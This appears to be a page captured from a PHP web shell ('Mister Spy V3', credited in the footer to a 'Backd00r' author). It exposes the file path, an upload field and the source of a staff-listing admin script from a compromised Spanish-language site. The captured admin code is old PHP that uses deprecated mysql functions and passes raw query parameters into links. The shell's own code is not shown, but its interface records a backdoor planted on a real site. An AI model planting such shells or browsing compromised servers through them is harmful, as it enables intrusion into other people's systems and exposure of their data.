Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/staff.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 


$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];
	

$maxRows_rsStaff = 20;
$pageNum_rsStaff = 0;
if (isset($_GET['pageNum_rsStaff'])) {
  $pageNum_rsStaff = $_GET['pageNum_rsStaff'];
}
$startRow_rsStaff = $pageNum_rsStaff * $maxRows_rsStaff;

mysql_select_db($database_cnx, $cnx);
$query_rsStaff = "SELECT * FROM staff ";
$query_limit_rsStaff = sprintf("%s LIMIT %d, %d", $query_rsStaff, $startRow_rsStaff, $maxRows_rsStaff);
$rsStaff = mysql_query($query_limit_rsStaff, $cnx) or die(mysql_error());
$row_rsStaff = mysql_fetch_assoc($rsStaff); 

if (isset($_GET['totalRows_rsStaff'])) {
  $totalRows_rsStaff = $_GET['totalRows_rsStaff'];
} else {
  $all_rsStaff = mysql_query($query_rsStaff);
  $totalRows_rsStaff = mysql_num_rows($all_rsStaff);
}
$totalPages_rsStaff = ceil($totalRows_rsStaff/$maxRows_rsStaff)-1;

$queryString_rsStaff = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsStaff") == false && 
        stristr($param, "totalRows_rsStaff") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsStaff = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsStaff = sprintf("&totalRows_rsStaff=%d%s", $totalRows_rsStaff, $queryString_rsStaff);

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
  <tr>
    <td width="10" class="TituloRubro">&nbsp;</td>
    <td class="TituloRubro">&nbsp;</td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td><p class="tituloPagina">STAFF DE TRABAJO</p></td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="0" align="right">&nbsp;</td>
    <td height="0" align="right">&nbsp;</td>
  </tr>
</table>

	<?php if($totalRows_rsStaff > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>	 
</table>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
		<td height="25"><strong>&nbsp;&nbsp;Contenido</strong></td>
		<td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
		<td height="20">&nbsp;&nbsp;&nbsp;Contenido de la secci&oacute;n Staff</td>
		<td width="100" height="20" align="center">
			<a href="staff_mod.php?<?=$qry_string?>&staffID=<?php echo $row_rsStaff['staffID']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>

		</td>
	  
		</tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="2" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
      </tr>
	  <?php } while ($row_rsStaff = mysql_fetch_assoc($rsStaff)); ?>
</table>
	<table border="0" width="25%" align="center">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsStaff > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsStaff=%d%s", $currentPage, 0, $queryString_rsStaff); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsStaff > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsStaff=%d%s", $currentPage, max(0, $pageNum_rsStaff - 1), $queryString_rsStaff); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsStaff < $totalPages_rsStaff) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsStaff=%d%s", $currentPage, min($totalPages_rsStaff, $pageNum_rsStaff + 1), $queryString_rsStaff); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsStaff < $totalPages_rsStaff) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsStaff=%d%s", $currentPage, $totalPages_rsStaff, $queryString_rsStaff); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsStaff==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay Staff disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsStaff);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat